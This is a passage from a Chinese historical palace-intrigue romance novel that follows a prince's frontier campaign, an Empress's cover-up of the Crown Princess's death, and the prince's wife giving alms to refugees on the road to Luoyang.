老皇帝除去崔氏这个心头大患,应当是太忘乎所以,才将其放虎归山。 元衡记得,上一世的赤城也是这般形势,崔氏倒台,尔朱氏的势力离赤城极近,他和与尔朱氏一次次往赤城填补损失的青卫,可那赤城便如同一个深不见底的窟窿,怎么填都填不满…… 他那时在晋阳抽不开身,对军镇真正的情况也不了解,后来等到大皇子登基,军镇不受控制,他才想明白,那不过是杨樾消耗他们两方势力的手段罢了。 这一次有杨知聿在军镇,可他到底该去一趟,从根源上堵住这个大窟窿。 元衡这么想,便是叫来韩泽收拾行囊,又与赵巍前去点兵,准备翌日清晨出发。 这一夜,元衡并没有回来。 岑璠尚在病中,乳娘夜里给她喂过药,陪了她一会儿。 那烛火越燃越矮,乳娘翘首看向窗外,却也没等来动静。 姑娘刚病,这晋王一声不响便决定要去军镇,连回来都不回来看一眼…… 再这样下去,还不知道府里的人不知道要如何议论呢。 乳娘越想越着急,在房间内打转,手指来回摩搓,不禁问道:“姑娘昨日同殿下说了什么?殿下没生气吧?” 岑璠仔细回想一番。 他昨日没同她拉脸,不仅没有,还态度颇好。 她摇了摇头,“乳娘别乱猜了,兴许只是有事罢了。” 乳娘不苟同,却也无可奈何,伺候她洗漱后往她手心涂了膏药,便熄灯离开了。 岑璠本也以为他不会回来,谁知天蒙蒙亮时,却感觉到被子里一阵凉风寒气。 熟悉的气息靠过来,似是还沾有些梅的香气。 岑璠睁开眼,将被子拢了拢。 那人似有所察觉,离远了些,连带那寒气也被带走了。 他轻声道:“孤要去军镇一趟,你在家好好养病,若是想出去,身边记得带人。” 岑璠昨夜喝了药,脑袋有些沉,没睁开眼,闷声“嗯”了一声。 身后便是没了声音。 须臾后他才又开口,“今晨孤新摘了几枝梅,已经换好了。” 是他亲手换的。 岑璠却是没有再答,那呼吸声听起来平稳,却还有些浑浊,露在外面的脸颊微微泛红,想来病还未好。 元衡没再说什么,出了门,只见韩泽拿了他的佩剑来。 他将剑别在腰间,吩咐了一句,“她身边的暗卫,撤下来一批吧。” 韩泽有些惊讶,却只答了声“是”。 元衡想了想,却又道:“先别撤,等她身边的人回来再说。” * 墨群回来时,晋王已走了五日。 这一日晋阳又下了场大雪,寒意彻底将北地覆盖,雪铺了一层,没有化开迹象。 王府中的奴仆扫雪开路,墨群还身着一件玄色单衣,大步走在路中,单薄的衣摆被寒风吹得鼓动,和王府中其他人格格不入。 他回王府的第一件事,便是去找岑璠禀告。 一串串湿脚印了一路,墨群找槿儿通报后,才注意到鞋尖沾的雪水。 他退回步子,在外面跺了两步,进屋后 行了一礼。 岑璠却是先注意到他身上的衣裳,什么也没问,倒是吩咐他出门后先领了冬衣。 墨群颔首,“谢过姑娘。” 说罢,他从怀里取出一封信,道:“这是小公子的保证书。” 岑璠愣了愣,拆开那封信,入目的便是一手歪七扭八的字。 那的确是一封保证书,也像珝儿平日说话的口吻。 岑璠脸色忽地沉了下来,“究竟是怎么回事?” 墨群如实到来。 原来晋王所说并不是假事,不仅如此,也确实如他所言,珝儿常常从学堂逃出来,和那些世家子弟去酒楼…… 岑璠越听,脸色越青,大病初愈,竟是气得一口气没喘上来,咳嗽了两声。 她皱起眉,边咳嗽边又看了眼那保证书。 只扫一眼那潦草的字迹,便不想再看。 “姑娘息怒。”墨群道:“属下已经替姑娘教训过了。” 岑璠淡淡问道:“如何罚的?” 墨群道:“属下同那云珮阁的那位老掌柜商量,若是小公子来了,便说最近铺子手头紧,抽不开钱,告诉他若是去酒楼可以赊一个月的账。” “小公子常去的酒楼名叫飞天楼,一个月后小公子来云珮阁取钱,身后跟了飞天楼的人,云珮阁的老掌柜说他这里的钱是给小公子读书用的,没钱还他喝酒的账,那飞天楼的掌柜便带着他回了虞家。” 他说这番话时甚是平淡,岑璠却是转过头看他,竟不知他做事竟如此雷厉风行,听的她直心惊肉跳。 “然后呢?”她问。 “岑家的老爷好面子,替小公子还了钱,关在家里打了一顿。”墨群见她不说话,又拱手直言道:“姑娘恕罪,此事是属下擅作主张,但属下觉得,这样的人该这样好好教训一番才能记住。” 岑璠摇头,“我不怪你,这些日子辛苦了。” 她抿了抿唇,还是问道:“虞家打的可严重?可有落下病?” 墨群道:“并没有多严重,小公子年轻,一顿打几日便好了。” 在他看来,甚至还打轻了,没过几日还能一瘸一拐来那云珮阁算账。 若不是他亮出王妃的玉牌,把他唬住,怕是也带不回那保证书。 岑璠便是平复一些,“打几顿也好……” 墨群颔首,又从腰上取下玉牌,交还给她。 * 军镇 几日前的赤城经历了一场大战。 粮草被烧的第二日,柔然派兵袭击赤城大营。 赤城内有所防范,可到底兵力有限,柔然自燕山而来,绕过长城压境,难以抵挡。 杨知聿自怀荒调兵,来得及时,抵挡了几日,后来陆续等到平城和晋阳的兵力,才渐渐逆转局势。 那些蠕蠕军似是有破釜沉舟的决心,势要给赤城重创,是以也没有给自己退路。 自燕山而来,进容易,退却难。 大魏同柔然势同水火,与其成战俘被羞辱后杀掉,不如当场自戕。 蠕蠕军被逼至燕山脚下,一个活口都没剩下。 大将丘可罗的人头被割下,祭奠军旗。 城门外的血腥好几日才散去。 这一日,最后一批逃兵也在燕山中被找到,仍是没有活口。 同众人从这批人逃跑的方向,在大营内推断出此次柔然进攻的路线,做好部署,元衡和杨知聿抽身回到赤城城内。 多月不见,杨知聿削瘦了不少,军镇不比晋阳,想必也是辛苦,只是那精神头仿佛愈发的好,一双眼中时刻锐利精明。 齐良越正在城门外收拾残局,见到晋王回来,汇报了城里的情况。 他抬头望了望城门,回想起这几日同柔然心惊胆战的交锋,感慨道:“这帮蠕蠕人,倒是真不怕死的,幸好老杨带兵来得及时,不然兄弟我还真受不住。” 杨知聿笑了笑,也说了番漂亮话。 被杨知聿这么一夸,齐良越嘴角便像是要弯到后脑勺了一般。 他笑好一阵,才收敛些,瞄向元衡,似有话要说。 元衡目光移向他,“何事?” 齐良越愣了愣,一摆手,“倒也不是什么大事,我家婆娘前几日怀上了,今日信才送到城里。” 杨知聿“哟”了一声,拍了拍他的肩膀,道了一声,“恭喜啊。” 齐良越嘿嘿一笑,看向元衡,恭敬地道:“殿下不知,我家那婆娘闹得很,信里每句都说让末将快些回去。” “末将算着,写这信的时候战事还未起,怕她这些日听到消息太担心,想尽快回去报个平安。” 齐良越娶的是平城的曲氏的姑娘,前些日子一直在忙着婚事,说来比他成亲还晚些。 现下娃娃都要有了。 元衡脸上算不得多喜悦,心里酸涩。 齐良越能看得出来他不高兴,赶紧补充道:“殿下若还有事要交给属下办,属下便是不回。” 元衡回过神,“毕竟是第一个孩子,你回去吧。” 杨知聿似看懂什么,轻轻一笑。 齐良越只面露喜色,拱手一礼,就要离去。 元衡却道:“你先留下,孤有事要问你。” 说罢,元衡又瞥向另一个人,“老齐要回去,之后城内修缮巡视之事,便由你来顶替。” 杨知聿爽快地领命,知道他不想留他,便有自知之明地离开了。 元衡盯着他一步步走远,才收回目光。 齐良越问道:“殿下可是还有事要吩咐?” 元衡坦然道:“没有。” 齐良越“啊?”了一声,一时还真想不明白为何晋王要留他。 正纳罕时,元衡莫名其妙说了句,“恭喜。” 齐良越又是一愣,拱手一礼,“多谢殿下。” 他道谢后起抬头,见晋王还有话要说,便是未离开。 元衡握了握拳,似挣扎一番,才问:“孤问你,你回去之后,若是曲氏闹脾气,你打算如何交代?” 第62章 第六十二章顺着,宠着 齐良越怎么也想不明白自家殿下的意图。 他要解释些什么? 他家娘子善解人意,知道他在外打仗辛苦,他只是打趣一二,他什么都不用解释啊! 齐良越想了许久,只能老老实实答:“倒也不用解释什么,末将只要回去,她便不会计较了。” 元衡沉默许久,喃喃道:“什么都不用解释吗…” 齐良越点了点头,恍然间却是想到什么。 殿下不会是和王妃吵架了吧! 齐良越欲言又止,舌头仿佛打了结,许久才捋直,“若是…若是真的生气了,其实也没必要解释,顺着她说便是了,不会真的计较的…” “顺着便是了?” 齐良越点头,“女人嘛,心肠都是水做的,宠着便是,不记隔夜仇的。” 顺她,宠她。 可她的心肠是石头做的,真的能有用吗? 他倒是真的羡慕,他的属下不用费什么心思,便能让家里的女人死心塌地,心甘情愿生儿育女。 他呢,别说孩子,王妃都要跑了。 元衡眼底有一丝黯淡,胸口沉闷,道:“知道了,你走吧。” 齐良越颔首,很快便离去。 元衡又在城门外停了片刻,有一侍卫来报。 “殿下,去洛阳的探子查到了,洛阳城内的那位太子妃一个月前死了,密不发丧。” 这个消息,元衡并不意外。 去查东宫那位太妃,也是他的授意。 上一世他在洛阳时,除夕夜宴,只有那位太子妃并没有出席。 那时尔朱氏的大公子在洛阳,尔朱阳雪也入了宫 ,在除夕的宫宴上献上一场剑舞,名动洛阳。 后来上元节时却传来尔朱阳雪被刺杀的消息,而救下尔朱阳雪的是太子。 好巧不巧,当日夜里东宫起了一场大火,那太子妃和侧妃都死在宫中。 一时间众说纷纭,猜测最多的,还是说那刺杀是太子妃所为。 而不久后,尔朱阳雪便被皇后请进宫,后来成了东宫第二位太子妃,更像是证实了这一说法。 他的势力被杨氏蚕食,又遭尔朱氏打压,后来柔然再次对赤城大举进攻,两边无人出兵支援赤城,他的兵力在一战中元气大损,从此军镇便彻底成杨氏和尔朱氏的斗场。 他后来一直觉得,当年太子妃的死有蹊跷。 只是当年这件事捂得太紧,那位太子妃不过出身小氏族,未曾引起过他的注意,就连他安插在东宫里的暗探也未曾打探到… 原先那位文绣大监被撤下去,宫里新任的大监虽是柳氏提拔,皇后任命,却是他的人。 自上任后,他便让其盯紧东宫里的那位太子妃的事。 一个人或许能易容,可不管是身形还是穿衣习惯,总会有些细微的差别,什么这是无法伪装的。 元衡思量许久,道:“你同洛阳的人说,太子妃的消息,找些人散出去吧,只说是病逝便好,还有注意最近尔朱氏的动向。” * 元衡回晋阳时,那太子妃病逝的消息被传开,不久后就连晋阳也传遍了。 谣言愈演愈烈,不久之后,宫里便敲响了丧钟。 太子闻讯从邺城而归,亲自送灵,当天晚上竟哭到传了太医。 不少人说,太子妃死得蹊跷,甚至有人说太子妃得了瘟疫,所以才密不发丧。 宫里派羽林军镇压,再加上宫里未有瘟疫传出,谣言才平息。 宫里的皇后却已经好几夜未睡,今夜也是如此。 太子妃亡故的消息,她封死在太子的东宫里。 不是她故意杀的,她哪知道那何氏女那么不禁推…… 不能怪她,是那何氏咎由自取。 谁让她骗了太子,私底下一直喝避子汤! 四姓世嫁入宫中,为了将来不被赐死,喝也就罢了,她一个小氏族的女儿,也配嫌弃太子的子嗣! 她只是一怒之下推了一把,谁知何氏竟是那般柔弱,被推倒后撞到矮案上,便那样撞死了。 不过这样也好,彻底少了这个病怏怏不能生的祸害,省的她之后还要在太子的眼皮子底下动手。 那日她同太子妃争吵时只有几个宫人在场,太子妃身边常伺候的宫女她皆以谋害皇嗣,毒害太子妃之名赐死,太医局又有她的人。 她前些日子找人放出消息说太子妃生病,本已经找到身形相似的人易容顶替,太子从邺城回来时,定能训练的看不出破绽。 可不知道是谁,竟放出了太子妃病逝的消息! 皇帝听了传言、将她叫去了霄云殿,她没有否认太子妃已死的实施,只一口咬定太子妃的死是因为自己长期服用避子汤药,气血亏空暴毙,头恰好磕在了桌脚,涉及皇家丑闻,所以才没有声张。 皇帝虽然没有明面上说什么,也没有治她的隐瞒之罪,可到底提点了一番。 所以到底是谁放出的消息! 皇后手心攥出了几道深深的指甲印,独自坐在宝座上,思索许久,深吸一口气,让人找来管事的太监。 管事太监来的时候,皇后面色已经恢复平静,她闭着眼,道:“这些日子可有查到,谣言是从何而起?” 管事太监道:“回娘娘,这消息散步太快,几乎是一夜之间便传得大街小巷都是,就连羽林军也查不出。” 皇后道:“既是查不出,本宫要你何用?” 管事太监低头,“皇后娘娘息怒,此事也并非全无头绪。” 皇后睁开眼,“说来听听。” 管事太监道:“这宫里的事,知道的最多的,无非是那些宫女和太监,可能把消息带出宫的并不多。” 皇后倒是来了兴致,问:“那依你说,会是什么人?” “奴才也是近些日才想到,那文绣局一个月前曾派人来为太子妃量裁除夕宴的衣裳。” 那文绣局的宫女皆有品阶,平日里挑选布匹丝线,确实与外人接触的多。 皇后想了想,也觉得可能,“继续说。” 老太监一弓腰,接着道:“那文绣局的大监,乃是柳家举荐给皇后娘娘的,若是算上给柳氏传信,和太子妃病逝消息走漏的日子恰好对得上。” 皇后沉默片刻,一双微长的眼眸斜向他,问道:“你怎么确定那文绣局的背后便一定是柳氏?” “也不一定是柳氏,但一定是皇后娘娘这边的人,否则从宫里传出的消息,便不会只是太子妃病逝了。” 皇后手肘在扶手上,重复道:“柳氏…” 她问道:“那真依你所言,柳氏为何要这么做?” 管事太监道:“前些日子太子殿下去邺城,正是柳氏的二公子接见的殿下,奴才还听说柳家的一个小女儿也在邺城,此次还随殿下的队伍一起回了洛阳。” “前些日子柳氏因为田租之事被陛下罚过,奴才觉得,柳氏想送个女儿进宫不无可能,柳氏是世家大族,太子妃一病逝,柳氏的女儿又恰好随殿下回到洛阳,这新一任的太子妃定为柳氏也算合乎情理……” 皇后眉眼微竖,质问道:“这事你为何不早说?” “皇后息怒,老奴没有上报,也是想再打听打听,奴才这些日子打听到,太子妃病逝的消息,还是柳氏二公子亲自给殿下带去的……” 皇后脸色一时间涨红,厉声道:“东宫的事,什么时候轮到他柳氏说的算,想当太子妃,他柳氏也配! 老太监静静听着,依旧是一句:“皇后息怒。” 皇后胸口起伏,“你去,将那文绣局的大监提过来。” 老太监得令,退了出去。 只是老太监没有想到,当晚的文绣局着了一场大火,便是再想寻,也再难寻到。 皇后呆呆在宫内坐了一宿。 翌日清晨,太子便来请安。 皇后知道,太子这是忙完了太子妃的丧事,要来同她兴师问罪了。 皇后又叫来管事太监,“你去给柳家递帖子,便说本宫听闻,前些日子柳氏姑娘同太子殿下一同回到洛阳,想见一见这位姑娘。” 交代完后,等到管事太监出去,皇后眨了眨眼睛,酝酿一番,须臾后便泣不成声。 太子进来时,便看到皇后声泪俱下,哭得直不起腰的场景。 想要质问的话停了一瞬,太子抿了抿唇,还是上前。 皇后摇了摇头,“母后知道,你也是来责怪母后的是不是?” 太子哑然,该说的都被说了去,竟不知接下来该说些什么 他语气还算缓和,问道:“母后为何要隐瞒太子妃的死讯?” 皇后抽了帕子,抹了抹眼泪,便抹还便哭着,不过一会儿连帕子都湿了。 她道:“你那太子妃一直在喝避子汤,她的病根本不是娘胎里带来的,分明是喝药喝出来的,太子知不知道?” 太子明显怔了一瞬。 皇后瞥见他的神色,吸了吸鼻子,“母后那日发现,一时忍不住,便责骂了她几句,罚了她身边几个宫女,谁知……” “谁知她便是就这么过去了……” 说罢,皇后愈发抽噎,“母后这几日整日都睡不着,母后也在想,是不是母后错了,可这么好好一个人,你说怎么就这么没了……” 太子瞧了瞧她,他的母后向来妆容华贵,可如今连发髻都没梳好,连妆都没上,眼下的乌青清晰可见。 皇后仍旧不停地哭诉,“母妃这几日总在想,究竟是哪里不对,问了很多人,连那裁剪冬衣的宫女都要细细问过。” 她的声音越来越小,配上那哭声,竟然听起来越来越委屈,“母后哪里知道,这才刚准备叫人去那文绣局,那文绣局竟然也起了大火……” “母后说什么?”太子问道。 皇后却像是没听见,只喃喃自语,“你说本宫是不是不详之人,和本宫说过话的竟都死了,太子不若也离本宫远点。” 她摇了摇头,“不,本宫过些日子便搬离皇宫,别给你和父皇染上晦气。” 她自言自语,太子便是再也责怪不来,稳住她,“母后!母后莫要自责了。” 他咬着牙,道:“依儿臣看,根本没有鬼怪之谈,定是有奸人作祟才是。” * 远在晋阳的岑璠,也听闻了那太子妃病逝的消息。 石凳上铺了厚厚的软垫,岑璠坐在石桌前感慨时,元衡就在不远的梅树前。 她轻叹时,元衡在树下恰好瞥见。 他昨日刚刚回来,想她想得紧,昨日夜里便免不了缠绵一番。 可他也是记得齐良越的话,到底是顺着她的意思,浅尝辄止,只给她了一次,没让她多难受。 今日晨起时,她的心情似乎真的比往常好了许多。 起码并没有瞪他就是。 晋阳的冬日难得天晴,他好声问她要不要和他出去赏梅,她也没有以精神不济推拒。 现在不知道又在为何而叹…… 元衡没问,若无其事看向周围,似又是满意。 西侧小院的梅已经凋谢,可他这燕誉堂的梅现如今竟是开满园。 梅香四溢,如临春景。 他着人种梅的时候,种了许多种,就是为了从初冬到春天,都能看到梅树绽放,有的可赏。 满园的雪皆被扫在梅林中,堆成一摞摞雪堆,梅瓣被凌风吹下来几朵,点缀在雪堆上,初雪时堆的雪娃娃早已消失不见。 忽然间,一枚雪上的红瓣却被团进雪中,大掌将雪球捏实,一层又一层雪被滚在雪球里,越滚越大。 元衡站起身,捧起那颗捏好的雪球,放到桌上。 “孤团好了,皎皎来画吧。” 第63章 第六十三章抱团取暖 岑璠回过神来,放下手中的汤婆子。 元衡道:“刚才在想什么?” 岑璠道:“没什么。” 她只是唏嘘罢了,那太子妃分明不比她大几岁,一副病怏怏的样子,居然就这么死在了宫里。 那皇宫真不是个好去处。 她有心事,元衡能看得出。 他捏了捏拳,心里默念,要顺她的心,好好宠她,便没逼她说出口。 他坐在她旁边,将那汤婆子放远了些,怕将那捏好的雪球烤化了。 见她伸出手,问道:“手还疼吗?” 岑璠摇头,觉得他反常,婆婆妈妈的,“我也不是傻,若是手还疼,怎会同殿下出来?” 元衡老实闭了嘴。 岑璠从袖中伸出手来,拿了桌上的小树枝,用树枝三两下就将那团雪球刮出个形来。 元衡就这么看着,指向一处凸的地方,不咸不淡道:“削歪了。” 岑璠看他一眼,没有理会他的指手画脚。 她将那截树枝拿低了些,用树枝尖一点点勾好轮廓,开始描形。 元衡渐渐能认得出,那是是个女娃娃,而他指的那鼓包是一个坠马髻,上面还插有一只牡丹簪。 不知道是照着谁画的,但很好看,眉眼弯弯,唇漾开,像是月牙一样,唇边还有两颗酒窝。 应当不是她自己,她从未这么笑过,也没有酒窝。 岑璠也没说这是谁,又削出娃娃的下半身,那娃娃穿着一身大袖袍,连衣上的褶皱也削了出来。 她又想了想,往那娃娃的腰间刻了一只玉佩。 画好后,她就这么盯着那只娃娃出神。 片刻后,她又用那树枝又在娃娃的脸上勾扫几笔,便是更栩栩如生了。 元衡问:“这是谁?” 岑璠想了想,道:“谁也不是。” 这发髻是女娘时兴的,脸是照着紫芯画的,衣裳是他常给她穿的衣裳,这玉佩是郑姑娘常佩的。 她还记得阿湄说过,那块儿玉佩曾被拿去送给晋王,而她差点因为那块儿玉佩认错人…… 若是他反应过来此事,虽然不至于对阿湄下手,却也应该会记仇,说不定还要莫名其妙对她发一通脾气。 岑璠什么也没说,见他不准备离开,又抱回汤婆子暖手。 元衡盯着那娃娃,却是站起身,去摘了朵红梅,将那朵红梅轻轻放在那女娃娃的发髻上。 一朵红梅点缀在白雪上,给那只娃娃增添了些色彩,娇憨可爱。 岑璠看了看他,并没有阻止他染指那只雪娃娃。 她又抬手,将原来那朵牡丹抹平,做了个凹槽,将那朵梅花固定在发髻上,用雪压了压,巧到元衡都看不懂她是怎么做到的。 “皎皎为何这么熟练?” 岑璠静静看着那娃娃发髻上的那朵红梅花瓣随风轻颤,她温婉的笑容荡漾,宛若春风拂雪。 可转眼间一阵冬风拂过,地上浅浅一层雪粒被吹开,那点笑意也被拂散了。 岑璠道:“从前在山上无事可做,冬天下不了山,闲来便刻这些小娃娃,刻多就熟了。” 元衡上辈子与她成婚时查过她在彭城的过往。 他知道她母亲真正的身份,也知道她的整个童年都在寄云寺的那座山上度过。 上辈子的他也确实太诨,明明知道她其实是个可怜人,却也冷眼旁观,虞家人背信弃义,可他就是任由她低贱到泥里,站不起身,直不起腰。 他又看向那雪娃娃。 能雕得这样熟练,那是雕多少才能雕成这样? 他心里一时酸涩,心疼又感同身受。 他也曾在冷宫里被关过十年,他知道那是什么滋味。 不知道外面是什么样的,除了陪伴母亲的那位老嬷嬷,也不知道被其他人喜欢该是什么样,整日里拿着一把破斧头练武练力气,也只是为了不在冷宫里哪一日被人不明不白砍死,连还手之力都没有…… 外面的人都说她是外室女,她孤傲清冷,也没怎么提过她自己的事,他作为她的夫君,竟是也忘了,她本是这般可怜之人。 元衡从她身后揽过她,她的手背还是冰冷,可他的掌心尚有余温。 他贴的极近,覆住她的两只手。 岑璠不知道他为何又突然如此,只是他没有什么多余的动作,只是这样半揽住她,这样倒是暖和。 她身体不自然地倾斜开,想要同他保持些间隔,可他却似是不满,手缓缓按住,执拗地让她靠住他的肩膀。 这样的姿势,倒是没刚才那样累,可却别扭,连他身上的沉香都能闻得一清二楚。 他道:“皎皎,孤同你的父亲不一样……” 那声音低沉却又沉稳,似自胸腔发出的震动,灌入耳中。 岑璠当然知道他和她父亲不是同一种人。 他父亲风流多情,又不堪自庸,对待真情弃如敝履。 可面前的人却走向了另一个极端,强势偏执,只想占有,连她见别人都要疑神疑鬼,喜怒无常。 她不知道他究竟为何这般偏执,可她知道,这两种都不是真正的喜欢。 她从彭城出去后,见过很多怀有真情的人。 譬如阿湄,譬如崔公子,还有尔朱阳雪…… 喜欢绝不是偏执,也不是占有。 是尊重,是不想让对方有任何顾虑烦恼,毫无保留地喜欢上自己。 那种爱是慷慨的,需要有信任,绝不是他这般吝啬。 岑璠看向那冲她笑的雪娃娃,还是直起身,站了起来,“天太冷了,回房罢。” * 年关将至,冬日路难行,元衡回来不过几日,两人便要启程回洛阳。 此去洛阳,人依旧不少,尔朱阳雪本也要与他们同行,奈何临出发前身子忽然不适,晕倒在府中,只能卧床休养。 回程路远,马车轻便,岑璠坐的那辆车用四匹马来拉,甚是宽敞,两层羊皮做的帘子将外面的冷气严丝合缝堵住。 车壁前些日才被改造过,若是冷了,便可以支起车壁上的小窗,也不怕被寒风吹着,屋内器皿、毛毯一应俱全,甚至还有一面小小的铜镜供她梳妆,紫芯和喜鹊在房内伺候,槿儿和乳娘在另一辆小些的马车上。 马车几日在山上安营扎寨,偶遇两场大雪,耽搁了些日子,好不容易下到平原之上的建州。 本以为晋王会下令赶路,谁知竟是绕道向西边的沁水去。 岑璠认不得这些城池,却也知道队伍绕了路,夜里停在沁水的驿馆时,便是问了一句。 元衡倒是不避讳她。 最近在洛阳的柳氏出了变故,虽不至于和崔氏一个罪过,可到底柳闻与其子女未能幸免。 岑璠听后皱眉,不由问道:“皇帝是要对世家动手?” “倒也不是。” 这崔氏被夷三族的原因和柳氏到不相同,这一点,元衡这个始 作俑者再清楚不过。 前几日洛阳来报,说是皇后前几日召见柳家的姑娘进宫,安排与太子相见,还将那柳氏姑娘留在宫中。 本是想促成一段姻缘,谁知那柳氏姑娘夜里却忽然疯疯癫癫,嘴里一直说着“不是我杀的。” 宫人进屋,不明所以,看向柳氏姑娘定定看的方向,才发现那房中不知何时挂上了死去的太子妃的画像。 那些宫人还以为那柳姑娘看到了不干净的东西,也吓了一跳。 可转眼间仔细想想,再怎么不干净,也不该这么大的反应。 所为身正不怕影子斜,总不敢吓得脸都白了…… 隔日,太子听闻消息便赶来了,那表情像是要噬人。 有聪明的宫人便猜明白了,为何情深如一的太子在太子妃新丧之时,便要与柳氏说亲,也猜明白了那幅画是谁挂上去的。 当天,太子妃未焚的冬衣便被呈到了皇帝面前,好几位太医聚在一起,点燃了一件冬衣。 那袖子烧不透,似是浸有什么东西,查来查去才发现在好几件冬衣袖上都泡了美人泪。 那文绣局到底剩几个人,文绣大监虽是不在了,可到底也是查到了柳氏头上。 人证物证俱在,那疯疯癫癫的柳姑娘还在宫里,无从抵赖,最后便是以谋害太子妃之名定罪。 崔氏刚夷三族,世家惶恐不安,皇帝不打算大动干戈,这柳氏倒也幸运,没有得个全族连坐之罪。 可这到底也是又动了一次世家。 连他的王妃都在猜皇帝要对世家动手,何况身处漩涡中的人? 他本以为皇帝会推后才处置柳家,没想到说处置便处置了。 那皇帝倒是真的宠爱那对母子。 元衡深吸一口气,没同她说他暗中做的事。 几日昼夜兼程,他也没再营帐里要过她,安顿到了驿馆,依旧没有。 岑璠觉得纳罕,躺在他旁边都小心翼翼的,动作极轻,即使是床榻狭窄,也同他隔了一臂之远。 他显然能感觉到,不过刚躺下不久,便揽过她。 岑璠倒也顺从,躺在他胸膛上安静睡一觉,总要比被折腾半宿再继续赶路强。 他呼吸平稳,心脏却阵阵跳动,似比她的心跳快很多,震得她睡不着觉。 岑璠知道他没睡,却不知道他为何难眠。 可她想睡觉…… 她思量许久,还是打算换个姿势。 他未强迫她这么睡,手臂却还是执拗揽着她,要让她面对着他睡。 忽地,岑璠听到一声极轻的话,似是沙哑,“皎皎,孤同他们都不一样。” “孤只对你一个人好,永远都不会变……” * 翌日,一行人离开沁水继续赶路。 这日天气正好,似能闻到暖阳的味道,小河旁的冰化开些,薄薄一层铺在水面,被冲成晶莹的碎片。 越向南越暖,岑璠想去外面透透气,元衡也没拒绝她,让人给她加了件袄,牵了一匹马让她骑。 岑璠这几日不出马车,看不见外面的情景,便也不知,这路途中竟有这么多漂泊乞讨,无家可归之人。 起初,岑璠还能装作视而不见,可后来便是见到一具冻死的饿殍。 队伍中无人在意,甚至连看都不曾多看一眼,似早已习惯。 无人收尸,就那么孤零零地在路边,说不定下一个快饿死的人来了,还要吃那人的肉才能活…… 队伍自远而近,岑璠眼睛始终注视着那路边。 元衡注意到,勒令停了队伍,却是让人去烧了那尸体。 岑璠问:“为何要烧?” 元衡理所应当道:“若是不烧,尸身腐朽,易生瘟疫。” 岑璠没再说什么。 只是队伍不久后又遇到三个人,似是一对夫妻带着一个孩子。 冬日严寒,三人身上皆裹着麻布油纸,便算抵寒,那油纸禁不住风吹,裂了好几处,那孩子的嘴唇被冻的青紫。 岑璠下了马,元衡见状,一摆手,整个队伍停了下来。 她回到自己那辆宽敞的马车内拿了些点心和银钱,又取了三件衣裳给那一家人。 那对夫妇似是冻的嘴唇都僵了,说不出话,连连弯了几个腰,眼里掉了几滴泪,像是在感谢。 岑璠倒也没再嘘寒问暖什么,又上了马。 元衡之前听韩泽说过她在晋阳城门口施粥的事,他只当她偶然间善性大发,睁一只眼闭一只眼,一声令下,队伍继续前行。 可路上又遇到几个这样的人。 他的王妃每一次都要下马,送些衣食银钱,后来似是觉得送衣裳不够送,便只送些干粮和银钱。 送走第五个人时,元衡终于开口,“王妃可知,再这样下去会给本王惹麻烦?” 他从很早便知道,这些快饿死的人救完了一个,还会有第二个。 早些年晋阳旁边的一个县的县令心善,在回乡的途中给那些乞丐送食,最后却是被结成队的乞丐分着吃了。 他初来晋阳时也施过粥,后来乱过几次,他便收了这仁善之心。 岑璠却是不在意。 她知道他说的麻烦是什么,可那种情况毕竟是少数,更何况他们这些人都是官兵,拿着刀枪,那些快饿死的人就算成群也没什么力气,怎么能抵挡的住这些利刃冷冰器,怕是躲他们还来不及。 岑璠道:“我相信殿下。” 元衡嗤了一声,又气又觉得好笑。 气她宁愿救那些脏兮兮的乞丐也不怕给他惹麻烦,又笑她傻,傻到要同情那些人。 他道:“王妃身上穿的衣裳,用的银钱,不都是本王给的,就这么送给那些人?” “殿下此言差矣,那些银子是我自己的钱。”岑璠打断道:“那些衣裳的确是殿下赏的,粮食也是殿下备的,若是殿下要算账,我也能付得起。” 元衡脸色沉了些,却也没脸真向自己的女人要钱,他又道:“王妃可知,这一路上粮食是送不完的,若是一人送一点,我们这些人便不够吃了。” “那便是现在还够吃。”岑璠却是道:“我心里有数,会送到送不出为止。” 他冷哼一声,不咸不淡说了句,“王妃倒是心善。” 岑璠听得出他的阴阳怪气,却不认同,“殿下将来便是打算这样当皇帝吗?” “你说什么?” 岑璠并不畏惧,“殿下以后难道不想当皇帝?若是当了皇帝,有灾情传入耳中,殿下也打算像现在一般置之不理?” 元衡听后,沉默了许久,“那不一样。” “怎么不一样?”岑璠问道:“殿下也知道流民聚集会带来麻烦,可现在官道上流民都已经随处可见,若各地世家官员都像殿下一样视而不见,流民只会越来越多。” “殿下现在遇到这么些人,都觉得管不管无所谓,将来若当皇帝,就算天下财富聚于殿下之手,掌天下民生,殿下也会这样想。” 她学他一般,语气微讽,“风起于青萍之末,倘若有一日天下流民聚于一处,殿下的皇位还能坐的稳当?难道不怕那日被乱贼分着吃了?就算没有乱民,殿下就不怕哪一日饿殍遍野,瘟疫肆虐,传到洛阳皇宫?” 她滔滔不绝,可元衡不知为何,竟然是反驳不了一句。 他们后面跟着人,皆是晋王自己的亲信,也不知道听没听到这番放肆之言,整个队伍静悄悄的。 元衡在人前到底端着面子,并不服气,最后只道:“随便你,王妃别饿着便是。” 接下来的一路,元衡便只是沉默,冷眼看着她一次次下马去送东西,也未再让队伍停下等她。 反正她会骑马,也追得快。 岑璠心里确实有数,数到第二十个人,便准备不再送。 她将干粮递给最后的一对夫妻,可没想到,就在送出去的时候,那女子却死死抓住她的手。 那手冻的似一块儿冰,冻的岑璠打了个机灵。 她仔细看向面前的女子,可那女子头发乱糟糟的,根本看不清容貌,只知道那乱发下的眼中忽隐忽现的迫切。 那女子的嘴一张一合, “阿…阿…” 倒是也听不清楚在说什么。 元衡虽说没让队伍停下,却也始终注意着岑璠。 见到那女子扯住她的腕子,他一摆手,整个队伍都停了下来。 他立刻翻身下马,竖起眉大步走来,那女子却似是惊得失了魂,向岑璠身后小步挪。 岑璠一时也搞不清状况,只想是他太过凶煞,吓到了人,便也站着挡住没动。 只是还不待元衡走近,便听到身后一阵马蹄声。 两队人马相遇,对面似也是官兵,为首之人昂首挺胸,神气十足,大喊道:“对面所有人都下马,若有见过柳家人速速告于本官,否则杀无赦!” 第64章 第六十四章反正怎么样都配! 听到对面嚣张的叫喊声,元衡先是走到她身旁,将她拽到身后,瞪了两眼那乞丐,将她拉回队伍。 对面让他们下马,他就便要上马。 县官见到未有人下马,甚至那队伍中还有人气定神闲上马,一时间气急败坏。 可细细一看,竟察觉到那支队伍的古怪。 那队伍中用的兵械,还有队伍中大多数人穿的衣裳,分明不同寻常。 最重要的是,刚才上马的人,颜如冠玉,雍容清贵,看起来不像普通人,分明是天潢贵胄。 